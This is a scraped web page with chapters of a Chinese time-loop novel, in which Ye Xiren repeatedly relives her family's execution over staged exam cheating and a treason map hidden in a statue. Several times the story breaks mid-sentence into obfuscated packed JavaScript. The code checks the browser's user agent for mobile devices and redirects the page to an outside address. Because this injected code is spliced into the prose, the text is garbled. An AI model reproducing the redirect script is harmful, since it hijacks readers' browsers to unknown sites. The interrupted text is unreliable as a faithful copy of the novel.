刘多喜微微一笑:“瞧着那马车是叶家的,户部尚书叶沛,他们家就一儿一女,想来是叶家二小姐。” 赤盏兰策颔首。 半晌,他道:“是个聪明的。” 马车终于回到叶府。 叶惜人站在门口,隐约能听到里面的喧哗,以及叶长明的嚎声、廖氏的安抚。 “娘,我要去春闱!” “哎哟喂,你可消点吧,春闱已经开始,你这样子怎么去?拿得起笔吗?再说了,你年纪小,下一次再春闱也来得及。” “啊啊啊!” …… 鸡飞狗跳,热闹非凡。 叶惜人提起裙摆,快步进去。 屋内,叶长明正在床上哀嚎:“疼死我了,有没有药让我手臂不疼啊,这个庸医!” “公子小心些,千万别再伤着手。”胖金圆乎乎的脸上带着忧愁,“大夫可是说了,虽然不严重,但伤筋动骨一百天,可要好好养着。” “是呀,药已经喝下去,疼就只有先忍着。”廖氏将手上的药碗放到一边去。 见叶惜人进来,廖氏站起来,“快看看你哥,回来一直不停哭嚎,手上的伤已经处理好,他就是没能参加春闱,正发脾气呢。” 她摇摇头,很是无奈。 叶长明猛地坐起来,完好无损的手狠狠一拍,破口大骂: “也不知道是哪个缺德玩意儿害老子,给老子等着,一定会把幕后凶手揪出来!毁人前程,真是缺德冒烟的玩意!祝他家全都倒霉,一个也考不上!” 啊这…… 要不还是别咒你自己了? 叶惜人下意思缩了缩脖子,有点心虚。 但想到几次满门抄斩遭的罪,以及拦都拦住非要去送死的哥,那点子心虚又烟消云散。 廖氏摇摇头出去,叶惜人将旁边放着的糖块端过来,声音温和: “哥,你下次再去一定能高中魁首,这次老天不让你参加,没准儿是护着你呢,吃颗糖,别生气了。” 她把糖喂给叶长明。 叶长明一口吞下,感动:“还是妹妹你最关心我。” 把糖咬得“嘎嘣”响,他从喉咙里面挤出声音,一字一句:“别让老子逮着害我的缺德玩意儿!” “好妹妹”叶惜人一脸温和,微笑不语。 - 叶沛下值回来,大概是早就收到消息,直奔叶长明的屋子。 “爹。”叶惜人放下书,站起来。 叶沛年纪不轻,已是四十出头的人,前些年还不显老,自从做了户部尚书后,大梁连年战事,头发渐渐发白,脸上褶皱加深。 但模样清瘦,从叶惜人与叶长明的脸就能看出,叶沛年轻时候是个美男子,如今年纪大了,儒雅又慈爱。 “惜惜。”叶沛笑了笑,看向床上开始嚎的叶长明,皱紧眉头,“差不多行了,这次没能春闱,下次继续便是,男子汉大丈夫,喊什么喊?” 叶惜人拿着书离开,让这父子俩在里面说话。 “爹!”叶长明坐起来,不甘心,“眼下是个什么局势,你又不是不知道,我得赶紧入朝为官,才能帮上严小将军,将那群燕狗撵出——” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276450|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶惜人走出屋子。 外面,廖氏搬来了账本,正在盘账。 叶惜人过去,在对面的石凳上坐下,裙摆垂落,纤细的手指自然而然拿起熟悉的账本翻看。 廖氏抬头看了眼,又低下头继续盘账,口中说着:“你别担心你哥,让他嚎,没去春闱不是坏事,我和你爹都不同意他现在入朝,局势太乱,他性子又冲动。” 说完,她将其他账本推过去: “你跟着算算,上月采买一共花了多少钱,以后嫁出去可是要执掌中馈,若是算不明白……” 叶惜人几乎是本能反应: “二十六两三钱。” 廖氏一怔,惊讶抬起:“你什么时候算过了?” 叶惜人倏地一笑,摇摇头:“昨儿算的。” 可不是“昨天”吗? 虽然还是三月初一。 廖氏觉得有些奇怪,她女儿昨日什么时候算账了,她怎么不知道? 叶惜人提笔写下这个数字,喃喃:“府上的开销越来越大,这一笔仅仅只是买米买菜的钱,粮价如此高,怪不得处处都是流民。” 廖氏闻言,长长地叹口气,眼神无奈,“这也是没办法,战乱不歇,三月又青黄不接,粮价从每升十钱涨到了五十钱,府上还能吃得起粮,不知道北地如今饿死了多少人?” 行台南迁之后,几乎将北都留给了北燕,整个淮安渠以北任由北燕军肆虐,那群凶恶的蛮子们,不知道将北地糟蹋成了什么样子? 叶惜人想到腰间挂着镰刀的马山,想到那些偷偷睡在巷道之中的人……流民不让进京,她在南都城内看到的不过冰山一角,还是最好的一角。 廖氏见她蹙眉,又安慰道: “好在北燕准备和谈,自赤盏兰策入南都后,各地便陆陆续续收到消息,又有朝廷安抚,前几日粮价已经降下来,变成二十钱一升,日子会好起来的。” 叶惜人点头。 战乱总归不好,和谈还没开始,各处景象就已经很是不同,是好事吧? 她看着账本算着时间。 太阳一点点落下,时间一点点过去,影子越来越斜,关着的大门安安静静,一点异常都没有,只偶尔能听到叶长明在咒骂。 廖氏已经离开,叶惜人一个人坐在院子里面,安静等待着。 嗒嗒嗒。 叶惜人手指轻轻敲动,数着时间,太阳落到了天边,她眼眶逐渐湿润,眼睑一颤,一滴眼泪便落在了账本之上,轻轻溅开。 “姑娘?”雪婵惊讶,着急上前。 叶惜人摇摇头,没说话。 金色的夕阳洒在她的脸上,迎着光仰起头,天边火红的太阳并不刺眼,一点点往下,云层围绕着太阳像是个圈,重重叠叠,染红半边天,鸟儿成群结队从夕阳上划过,屋舍的烟囱冒出一圈圈白烟,升上天。 叶惜人看着看着,满脸泪水,却缓缓露出灿烂的笑容,乌黑的眼睛越来越亮,一直提着的心终于随着太阳落下。 ——她这是救下全家了吧? 5. 初二 第5章 熬到深夜才睡着,叶惜人断断续续做着噩梦,很不踏实,双眼紧闭,额头冒出细细密密的汗珠,像是被绑住了手脚,拼命挣扎不开,醒不过来。 “不要——” 叶惜人猛地惊醒,从床上坐起来,黑暗当中,呼吸急促,剧烈喘息着。 雪婵听到动静赶忙进来,掀开薄纱,一脸紧张,“姑娘?” 叶惜人僵硬地看向她,咽了咽口水,试探着开口:“雪婵,今日几月几?”声音颤抖,小心翼翼。 雪婵愣了愣,还是回答:“三月初二,姑娘这是又魇着了?可要让郎中来看看?” 她在旁边坐下,给叶惜人掖好被子,有些发愁: “姑娘这两日都睡得不安稳,让郎中看看吧,大公子昨儿被人打伤,大夫就在府上住着,开几服药也方便……” 雪婵絮絮叨叨,满脸忧愁。 叶惜人却随着她的话露出灿烂笑容,乌黑眼瞳深处,劫后余生的欣喜翻涌。 太好了! 真的过了三月初一了! 得到确定的答案,叶惜人彻底放松下来,紧绷的神经松开,她终于“逃离”三月初一,带着叶家躲过满门抄斩的命运,不用再被压在菜市口,砍掉脑袋。 “姑娘?”雪婵疑惑。 叶惜人笑容不变,抱着被子往后倒去,在枕头上打了个滚,将一头乌黑长发滚得乱糟糟,拉高被子遮住脸,声音里是掩饰不住的笑意—— “没事,是做了噩梦,都过去了,我再睡会儿!” 她眼睛一闭,终于沉沉睡过去。 雪婵挠挠头,一脸茫然,但见姑娘睡着还是给她拉了拉被子,没让盖住口鼻,随后轻手轻脚出去,压低声音吩咐: “姑娘两日都没睡好,还想再睡会儿,去给夫人回禀一声,另外,你们都小声些,不要吵着了姑娘……” 叶家没有那么大的规矩,又都宠爱姑娘,只是多睡会儿而已,算不得什么大事。 叶惜人睡梦中嘴角都带着笑,踏实地睡到辰时过半才起来。 还是三月初二。 不是做梦,渡了劫,还活着。 雪婵一边为她梳着头发,一边笑着说:“姑娘心情真好,一直带着笑呢。” “嗯,活着就开心。”叶惜人应了声,好心情地拿起最喜欢的金钗,上一次被皇城司带走时,这根金钗她给了逻卒,砍完头回来,一切回归原位。 也不知是遇了仙还是遇了鬼。 叶惜人递给雪婵,由着她簪上,又问:“对了,昨日让人留意春闱,可有什么事情发生?” 雪婵摇摇头:“没什么事情,一切正常,贡院的门还没开呢。” 春闱第一场三天,现在还不是开门的时候。 叶惜人脸上的笑瞬间落下来,眼神微沉,心像是被什么揪住,不安再次蔓延,之前的一个猜测得到确定答案—— 考场舞弊,针对的是叶长明。 没有叶长明进入,就没有考场舞弊。 叶惜人庆幸昨日没让他进去,这舞弊针对他一人,只要进去,就必会出事,只有斩断源头才能化解。 可究竟是谁要害他? 又是用了什么手段去害他? 叶惜人眉头皱在一起,眼神凝重,陷入沉思当中。 “对了,”雪婵梳好头发,将桃木梳放回匣子里,像是想到什么,又说:“姑娘昨儿晚上说要去拜佛,晨起老夫人听说了这事,想着家里最近不太平,就让今日都去佛堂,一起拜拜。” 叶惜人点头:“好。” ——是该拜拜了。 她今日起的有些晚,廖氏已经用过饭,叶惜人就在自己的院子里面吃完才往长寿堂去。 祖母赵氏是将门出身,年轻时候据说敢上阵杀敌,是梁文宗亲封的诰命夫人,如今年岁大了,有些信佛,平日里吃斋念佛,很少出长寿堂。 叶惜人到长寿堂时,听着里面母亲叹气: “这家里也不知道怎么了,长明被人打断手,雪婵说惜惜两日都睡得不安稳,像是梦魇着……” 叶长明马上接话:“我妹妹那是担心我!” 说完,他又咬牙切齿:“都怪那该死的混蛋玩意儿,打断老子的手,要不然——” “你和谁说老子?”赵氏笑眯眯。 廖氏狠狠瞪儿子一眼。 叶长明马上怂了,窝在软榻旁边,缩着脖子,“我这是太生气,那动手的人还没抓到,现在人家都在春闱,就我在这里养伤,憋屈死了!” 他抱着自己的左手,委屈巴巴。 “二姑娘。”门口的丫鬟柳絮见到她,赶忙行礼,掀开了门帘,“老夫人,二姑娘来了。” 叶惜人快步进去,“祖母。” 她恭敬行礼,赵氏恨不得站起来,急切招手。 叶惜人直起身过去,被赵氏拉着手坐在软榻上,老人温暖的手紧紧握着她微凉的手指,见有些冷,两手合上去,暖意一点点蔓延,让人心头一暖。 “是梦魇吗?待会儿让大夫看看。”赵氏为她理了理头发。 叶惜人没拒绝祖母的好意,点点头。 旁边,叶长明嘀咕:“都心疼老二,怎么就不心疼一下受伤的我?” 说完他想站起来活动两下,可脚上也受了伤,动作太猛,疼得龇牙咧嘴,表情扭曲,“你别担心我,好好睡觉,这伤其实不严重,就是不能参加春闱。” 他以为叶惜人是担心他睡不着,忍着痛安慰。 叶惜人心头一软。 叶长明:“都怪那缺德玩意儿!” 叶惜人:“……” “缺德玩意儿”清了清嗓子,转移话题:“哥,你有没有得罪谁,就是那种要下手毁你春闱的人?” “我能得罪谁啊?”叶长明下意识反驳,而后又在三双眼睛注视下,逐渐心虚,“应该……没有吧?” 叶惜人无语。 廖氏叹气:“在春闱路上动手脚,这是成心不想你科举,到底是怎样的仇怨,竟然下这样的狠手?” 叶长明掰着手指头数和他不太对付的人。 但不管怎么数,都觉得不像是会买凶阻止他春闱的人,要知道下这样的手若是被察觉,就是不死不休的大仇。 叶惜人垂下头,像是随口一句: “是呀,肯定是想毁掉哥哥春闱,若是狠一点在贡院里面动手脚,栽赃哥哥一个考场舞弊,那可是满门抄斩的大罪。” 闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276451|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言,屋里三人同时笑了。 叶长明摇摇头:“谁敢在考场动手脚,谁又有那个本事?” 赵氏握着叶惜人的手轻轻拍了拍,语气慈爱:“春闱是大事,敢舞弊的都没好下场,敢弄鬼的,同样是连累全家的大罪,而且春闱就在天下脚下,查的格外严,不敢动手脚的。” 叶惜人垂下眼眸。 可偏偏就动了,三次入考场,三次满门抄斩的结局。 “时辰差不多了,咱们去佛堂吧。”赵氏说完起身。 叶惜人伸手搀扶她,叶长明也想去扶着,被廖氏瞪一眼挤开,“你手伤成那样,还做什么?伤筋动骨一百天,可得好好养着……” 廖氏念念叨叨。 叶长明尴尬地摸了摸鼻子,一瘸一拐跟上他们,见叶惜人今日戴的钗上流苏好看,伸手拨了拨,扯到头发,叶惜人一脸无奈地回头瞪他,叶长明眉梢一挑。 一行人渐渐远去,影子被拉扯,风吹动微微摇曳,回廊铃铛作响,岁月静好。 佛堂内。 赵氏拿着佛珠,虔诚地跪在前面,念着佛经、拨动手上佛珠,身后便是廖长缨带着一双儿女,廖长缨安静祈祷,愿她一双儿女健康平安、福寿绵延。 叶惜人双手合十看着观音像。 她从前虽跟着祖母拜佛,但少年人总是不太相信鬼神之说,时常跪拜着出神,从未如此认真地看过这尊观音像。 白玉菩萨慈眉善目,祖母为观音盖上一块红布,只露出菩萨正面,拈花带笑,仿佛慈悲地看着世人,普度众生。 叶惜人看着观音,就觉得观音好像也正看着她。 【昨日是菩萨保佑吗?让我重生一次又一次,直到避开我叶家灾祸,保全了全家性命……】 斩首很疼,尤其是知道很痛还要去面对。 但这些比起一家人的性命算不得什么,从前叶惜人最怕鬼,怕这些捉摸不透的神佛,但这一次她无比感激上天给予她保全家人的机会。 叶惜人虔诚磕头。 ——多谢。 叶长明吊着一只手,很有些无聊地跪在旁边,见叶惜人无比虔诚,轻轻撞了撞她的胳膊,叶惜人没理会。 叶长明无奈,看向观音: “菩萨,你要是在天有灵,就保佑我赶紧找到害我的人,让那人立刻倒血霉,没有好下场!” 叶惜人:“……” 她无语地抬起头,正想开口。 “嘭——” 外面,大门被人一脚踹开,一行人从前院闯进来,一路搜查,脚步声沉重而密集,“咚咚”声越来越近。 动静太大,外面丫鬟小厮惊叫出声,又很快被控制住,像是急促的鸟鸣被捂了嘴,乍然收声,一片寂静伴着沉重脚步声,更显诡异。 咚咚咚。 脚步声越来越近,直至佛堂门口,里面的人疑惑回头。 叶惜人一愣,好熟悉的动静。 下一刻,她还没来得及站起来,更熟悉的人一群人闯了进来,将他们全全包围。 领头之人还是头戴黑色乌沙,红衣似血,眼神如刀,握着一卷黄麻纸敕令,画面与前几次完全重叠,只是地方从前院换到了佛堂。 叶惜人:“???” 6. 无了 第6章 叶惜人几乎是本能看向叶长明。 后者一脸茫然,喃喃:“菩萨,我诅咒的是下黑手害我的人,可没诅咒我自己啊!” 叶惜人:“……” 这个乌鸦嘴! 她深吸一口气站起来,视线从陆仟手上的敕令移到他脸上,压不住的愤怒与崩溃:“陆仟,你这是什么意思?叶长明又犯了什么事?!” 还没完了! 冷睨着众人的陆仟一顿,下意识看向说话的叶惜人,不过是一个漂亮柔弱的闺阁少女,却没见到对方脸上有害怕,反而满眼愤怒,还有几分……熟稔? ——等等,他们认识吗? 陆仟恍惚一瞬,随即重新板着脸,冷声道:“带人上来!” “嘭。” 他手下压着一个人进来,扔在几人面前,那人无比熟悉,正是叶惜人进长寿堂时,给她掀开帘子的丫鬟,柳絮。 “说吧,通敌证据藏在哪里的。”陆仟缓缓开口。 通敌?! 叶惜人瞳孔一缩。 柳絮抖着手指向那尊观音,结结巴巴:“在、在观音像里面,我亲眼、亲眼见到老夫人塞进去的……” “胡说八道!”廖氏呵斥。 陆仟手一抬,旁边站着的逻卒将长刀放在廖氏脖颈上,让她闭嘴。 叶惜人伸出手,一把将长刀推开,狠狠瞪了逻卒一眼。 ——这人“昨天”才收了她金镯子! 逻卒:“?” 他被推开长刀,见叶惜人眼里像是要喷火,竟一时不敢上前,不知道从哪儿钻出来了一点心虚。 另一人捧着白玉观音到陆仟面前。 陆仟看看丫鬟,又看看赵氏,最后将目光定格在叶惜人脸上,嘴角一点点扬起来,无尽嘲讽,猛地伸出手。 “啪嚓——” 白玉观音碎了满地,溅起瓷片。 而里面一张折叠着的羊皮纸砸出来,借着外面透进来的阳光,上面字迹清晰明显,叶惜人几人瞪大眼睛。 “这是什么?”叶长明喃喃。 “我也想问这是什么呢。”陆仟收回视线捡起羊皮纸,抖开,清晰的图纸出现,里面又掉落一张卷着的白纸,惜人还没看清楚,就见那陆仟变了脸,“果然是丢了的南都禁厢军舆图!” 叶长明不可置信。 禁厢军舆图是整个南都的地图与布防,去岁朝廷从北都搬到南都才新制而成,是大梁最最要紧的东西之一,怎么会在他们家里?! 陆仟打开卷着的白纸,扫过上面内容,捏紧舆图,另一只手抖动,黄麻纸敕令打开,盯着众人眼神阴冷,声音带着杀气—— “叶氏门中,上下听判!” “查户部尚书叶沛之母赵兰君,私藏通敌罪证,与逆党勾结,大逆不道,依《大梁律》,叶氏满门抄斩!” 不同的圣旨,熟悉的旨意。 “满门抄斩”四个字一出,叶惜人只觉得呼吸一滞,头晕眼花。 明明没了考场舞弊,怎么还有通敌罪证,又是满门抄斩?! 陆仟一挥手,下属们上前便要抓住他们。 叶长明瘸着腿挣扎: “不可能,我祖母乃是赵氏出生,赵氏一门忠勇,怎么可能通敌卖国?定是别人冤枉,陆仟你凭什么抓我们?!我要见我爹、见圣上!” 他身上带着伤,很快被皇城司的人制住。 陆仟将那张卷起来的小纸条打开,递到叶长明面前,一字一句:“那你说说前几日失踪的南都禁厢军舆图怎么会在你家?这上面的字又是什么意思?” 叶惜人立刻看过去。 那白纸上写着一行小字,叮嘱叶家收好舆图,落款就一个字——严。 “我怎么知道这是哪里来的?我祖母年事已高,肯定是有人栽赃陷害,你们不查明白真相,凭什么判我们满门抄斩?!”叶长明狠狠瞪着陆仟,哪怕被控制着,依旧不肯低头。 赵氏终于放下佛珠,缓缓站起来。 她回头看向陆仟,面无表情: “欲加之罪何患无辞,陆二狗,你如今改名陆仟,做了这皇城指挥使,可还记得当年无父无母,流落街头,是谁把你捡回去,教你习武,好好养大?” 陆仟面色微变,眼中恼怒一闪而过,随后握紧舆图与纸条,冷笑:“老夫人用不着说我,有什么冤情还是去和阎王说吧,私藏罪证,证据确凿,你叶家这回是在劫难逃!” 说完,他喝道:“还不快带走!” 逻卒们一拥而上。 叶惜人一把将最先靠近的逻卒推开,整了整头上金钗,咬牙切齿:“用不着绑着,我们自己会走。” 她看向赵氏,伸出手:“祖母,我扶着您。” 没人想到,叶家最冷静的是最小的叶惜人,哪怕面对可怕的皇城司、满门抄斩的旨意,都还能保持冷静,好像对死亡已经没了恐惧,对眼前之人没有惧怕。 赵氏嘴唇一颤,随即将手搭在叶惜人手上,强撑着的身体卸了些力,被叶惜人稳稳扶着。 陆仟看着叶惜人,眼眸深深: “这叶家倒是养了个胆大的好女儿,从前藏在闺中,名声不显,没想到竟是个沉着冷静的,可惜了。” 叶惜人面无表情回视他。 ——没办法,与这些人打过四次照面了,这路数更是熟门熟路。 一行人被带进囚车。 叶惜人回头看了同样被带着的“人证”柳絮一眼,手握紧成拳。 叶长明同样憋着火,怒道: “这到底是怎么回事?一个不知道从哪里冒出来的‘证据’,就要判我们满门抄斩,不交由大理寺和刑部吗?那柳絮是谁的人?为什么害我们?还有爹爹在哪儿?” 他用大堆问题掩饰自己的慌乱。 可惜这些问题其他人也没有答案,赵氏整个人一瞬间苍老,声音沙哑:“你爹爹现在恐怕也自身难保。” 满门抄斩,哪里能漏掉叶沛? 廖氏眼眶通红,又问:“娘,那舆图和纸条……” 赵氏摇摇头,显然是不清楚。 “祖母。”叶惜人凑到赵氏身边,压低声音,“你给我讲讲这陆仟到底怎么回事吧?” 叶长明不可置信:“都快要死了,你还有心情问这个?” 叶惜人深吸一口气,彻底崩溃:“这局无了,总要为下一次做些准备啊!” ——该死的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276452|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ——这满门抄斩还没完没了! - 大理寺,诏狱。 人影动了动,被绑住的手脚带动铁链,手腕、脚踝处再次溢出鲜血,人影就像是没有察觉,依旧端坐地牢之中。 他脊背挺直,藏在凌乱头发下的眼睛看向地牢入口处,就那里有一点烛火跳动的光。 一只老鼠从脚边跑过,他没有理会,只看着入口处。 随后,阴影出现,牢卒进来送饭,将食盒提到黑暗面前,饭菜一份份取出来,缺口碗里倒上水。 黑影看了眼,缓缓闭上眼睛。 - 菜市口刽子手高举双手,喷出一口烈酒,鬼头刀寒光一闪,重重落下,剧痛袭来,鲜血喷溅…… 叶惜人捂着脖子猛地坐起来,呼吸急促,满眼惊恐。 “姑娘?”丫鬟们鱼贯而入,领头的大丫头一脸焦急,一边给叶惜人擦着额头冷汗,一边吩咐,“快送些水来!” 依旧是熟悉的场景,熟悉的声音。 叶惜人眼眶湿润,嘴角扯动,又哭又笑,整个人不正常极了。 真的又回来了! 之前回来了三次,但毕竟都是三月初一叶长明科举舞弊,这一次是“祖母私藏的通敌罪证”,又是三月初二……叶惜人在死前看着还算冷静,只有她自己知道有多害怕。 ——万一就是最后一次呢? 好在,她回来了,还可以救叶家!! 叶惜人顾不得满头大汗,也不回答雪婵的担忧,一把抓住她手腕,追问:“今日是几月几?” 雪婵茫然回答:“三月初一啊。” 叶惜人又惊又喜,时间回到了三月初一,她就有更多的时间做准备,想办法救下叶家。 她猛地站起来,匆匆下床:“快快,赶紧给我穿衣服,备马车。” 三月初一可来不及管什么佛像,最重要的是另一件事—— 叶长明科举啊! 得先度过三月初一的劫难,才能活到三月初二。 雪婵一脸茫然,按照指令备好马车,又为着急出门的叶惜人披上斗篷,提醒:“大公子才刚刚出门,姑娘能追得上的,吃点东西,别饿着。” 她几乎快要追不上她家小姐! 怎这么着急? “来不及了。”叶惜人边走边系着斗篷,走得太急,脸颊微红,但一双眼睛明亮到有些刺人。 走了两步,她突然停下脚步,回头: “我看祖母院里的柳絮不错,去要到我们院子里来。” 雪婵一怔。 再抬头时,叶惜人已经远去,提着灯笼,黑暗中影影绰绰的身影转过回廊,蓝色缂丝织金斗篷划过一角,很快消失不见。 姑娘好像和以前不一样了? 说话行事更犀利,再没有过去的柔顺温柔,分明还是那个人,却又哪里不一样,她像是烧着的一把火,令人心惊。 马车哒哒,很快停在文林坊。 熟悉的黑暗,熟悉的巷子,里面横七竖八躺着的影子,衣衫褴褛。 叶惜人站在巷口,提着灯笼深吸一口气大喊—— “马山!” 这语气,熟得不能再熟了。 7. 左脚 第7章 叶惜人满头大汗回到自己的院子。 雪婵一脸担忧迎上来,“怎么就伤了手?现在春闱时间已经开始,大公子此次是没法子科举入朝了。” 叶惜人端起丫鬟送来的水,一口闷下,长长地吐出一口气。 这回下手轻,叶长明精力旺盛,比上一回闹得还凶,非要去春闱,折腾了好一会儿,差点累死她。 可她哪里敢让他去? 不去还能活到三月初二,去了连三月初一都过不去,她同廖氏一起摁着他看大夫,直到春闱时间过了,才终于放下心。 而后,刚刚还一脸担心哥哥伤势的“好妹妹”,瞬间变脸丢开人,离开了叶长明的屋子,让他一个人撒泼去。 ——她还有其他事情呢,哪有空陪他耗着。 “他不去才好,伤得不重,养几天就好。”叶惜人又喝完茶水,才终于放下茶盏。 上一次下狠手是因着叶长明连累全家反反复复被斩,伤轻了还闹着要去春闱,又害叶家一次,她带着怒火重生,满腔愤怒与恐惧,所以让马山下手重些。 但经过三月初二的佛堂事件,叶惜人才惊觉…… 或许,考场之内另有玄机。 这样想来,叶长明不是故意连累叶家,多年兄妹情谊,若不是胖金瘦银武功太高,马山制不住他们,而她醒来又太晚,时间上来不及,她不会选择找马山揍叶长明。 ——时间紧迫,唯有突袭伤手最有效。 毕竟,叶长明简直是个犟种,就非要去春闱,谁闹都没用,怎么劝都不行! 三月初一的劫难是过了。 但还有三月初二,藏在佛像里面的“罪证”…… 叶惜人猛地站起来,走向旁边属于她的小书房,拿起纸笔正要写什么,手顿住,看向好奇跟来的雪婵:“你先出来。” 雪婵挠挠头。 今日姑娘真是怪怪的,她给叶惜人添上茶,安安静静出去,还把门给她关好,守在了外面不让人靠近。 等人走了,叶惜人擦擦又冒出来的冷汗,开始急切梳理这几天遇到的事情,提笔写下绢花小楷,极漂亮的一行字。 叶沛重文,教导叶长明时也教叶惜人,打小她就看过不少书,历史传记、志怪小说,可真还没有她如今遭遇的这种情况!! ——用书籍已经解释不了。 她应该是撞仙或者撞鬼。 死了又活,活了又死。 但也有可能是菩萨、祖宗保佑,让她一次次重生帮助叶家避开灾祸,或许,避开了灾难才能彻底脱身。 “三月初一,我一无所知便被砍了头,此为满门抄斩第一次。” “还是三月初一,我隐约觉得不对,提醒了叶长明不要舞弊,他很生气,可以确定他绝不会舞弊,但因为进了考场,所以还是被砍了头,此为满门抄斩第二次。” “依旧是三月初一,重复第二次,通过与逻卒对话,知晓考场舞弊事件惹得陛下、蒋相震怒,又有北燕人添油加醋,此为满门抄斩第三次。” “没让叶长明科举,躲过了三月初一,到了三月初二,这回是祖母私藏通敌证据,我们被陆仟带到大理寺,还没过夜圣旨就下来了,此为满门抄斩第四次。” 叶惜人手一顿,一滴墨落在纸上,眉头紧锁: “不对啊,第一到第三次,有北燕人添油加醋,所以判得快、斩得快,那第四次呢?怎么也当天就砍了头?” 难道那舆图和纸条就能直接定罪,不容辩驳? 还有,那舆图和纸条什么时候藏起来的? 佛像没有缝,谁放进去的,柳絮?她又是什么时候塞进去的? ……难道是有人调换了佛像? 可又是什么时候调换? 叶惜人的笔在三月初一和三月初二上面圈出来,又把第一到第四全都圈出来,满门抄斩也跟着圈出来。 作弊和通敌有什么联系吗? 这两个日子又有什么联系吗? 叶惜人陷入沉思。 脑海中有什么一闪而过,她瞳孔一缩,笔落在桌上,溅起的墨水将纸张变得一片漆黑,盖住了上面的一些字,像是鲜血一样溅在“满门抄斩”四个字上。 这就是联系! 无论是三月初一,还是三月初二,叶家必然有一个罪,结局都是满门抄斩! 躲过了三月初一的“考场舞弊”,所以,有了三月初二的“私藏通敌罪证”。 ——有人害他们! 想到这里,叶惜人就觉得呼吸一滞,几乎喘不过气来。 无论是在考场动手脚,还是在那大梁最重要的舆图,都可见对方的手段,以及不死不休的决心! 到底是谁? 冷静。 她对外面的事情不了,对叶家得罪的人更不了解,现在重要的不是锁定是谁,是验证猜测,活下去再找背后之人…… 今日还是三月初一,柳絮一大早被她要了过来,如果是确定考场舞弊杀不死叶家换了招数,那柳絮就还没有动手。 叶惜人松了口气。 但很快,又再次提起来。 不行。 如果阻止了柳絮行事,那没准儿还有其他招数等着他们,不能改动太大,否则极可能再次落入未知的陷阱当中。 叶惜人捡起笔,将写了字的纸全都扔到火盆里面,烧了干净。 随即,她抬脚往外走。 “姑娘?”收到门口的雪婵回过神。 叶惜人问:“雪婵,柳絮呢?” 雪婵愣了愣,回道:“老夫人疼爱姑娘,我将话递到老夫人面前,她立刻就让柳絮来了我们院中,还在角房呢,姑娘可要见见?” 叶惜人猛地摇头,眼神凝重叮嘱: “雪婵,我现在只能相信你,你悄悄盯着柳絮,但千万不要让她发现,她做什么无所谓,什么都不要告诉她,也不要让她察觉异常。” 雪婵莫名心惊,但她与叶惜人自小长大,情谊非比寻常,又从来温顺乖巧,忙点头:“是。” “我先去祖母那里。”叶惜人抬脚离开。 她要去验证自己的猜测。 那佛堂里面的观音,可有被动过手脚? 叶家人少,叶惜人一直很受宠,几乎是没有阻拦就到了佛堂,祖母还没开始礼佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276453|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,佛堂里面没有人。 她将其他人全都打发走,抱起这尊观音。 ——同之前见到的一模一样。 上一个三月初二她跪在这里,认真看过这尊观音,白玉观音慈悲,分明与此刻看到的一模一样。 她又上下打量摩挲,没有能打开的口子,只有一条细细的缝在下面。 柳絮是从这里塞进去的? 叶惜人举起来借着光,还是看不清楚里面。 她抿了抿唇,屏住呼吸,无论如何,她要救叶家,要保下全家人的性命,这一次次“重生”也不知道什么时候停止,不容有失。 “菩萨、祖母,对不起了。”叶惜人喃喃。 话音落地,手上狠狠砸下去。 “啪嚓——” 一声脆响,白玉观音碎了满地。 叶惜人看着地上的碎片,瞳孔一缩,不可置信。 - “也不知道姑娘把这柳絮要过来做什么?” “没看到这柳絮有什么好处啊?” “是呀,怎就让姑娘独独从老夫人那里要了她?” …… 雪婵在收拾姑娘的衣服,听到议论声,皱着眉出来,呵斥:“做什么?都没事干了?姑娘做什么由不得你们议论,要是再让我听到,全都撵出去!” 几个丫鬟顿时白了脸,行礼告退,再不敢说酸话。 雪婵喃喃:“我还想知道姑娘看上柳絮什么,我也都能学啊……” 这时,叶惜人走出来,脚步有些踉跄,晕乎乎,眉头紧皱,两眼无神。 “这到底是怎么回事?”叶惜人喃喃、 “姑娘?”雪婵心头一紧,赶紧上前搀扶,满脸担忧,“姑娘这是怎么了?” 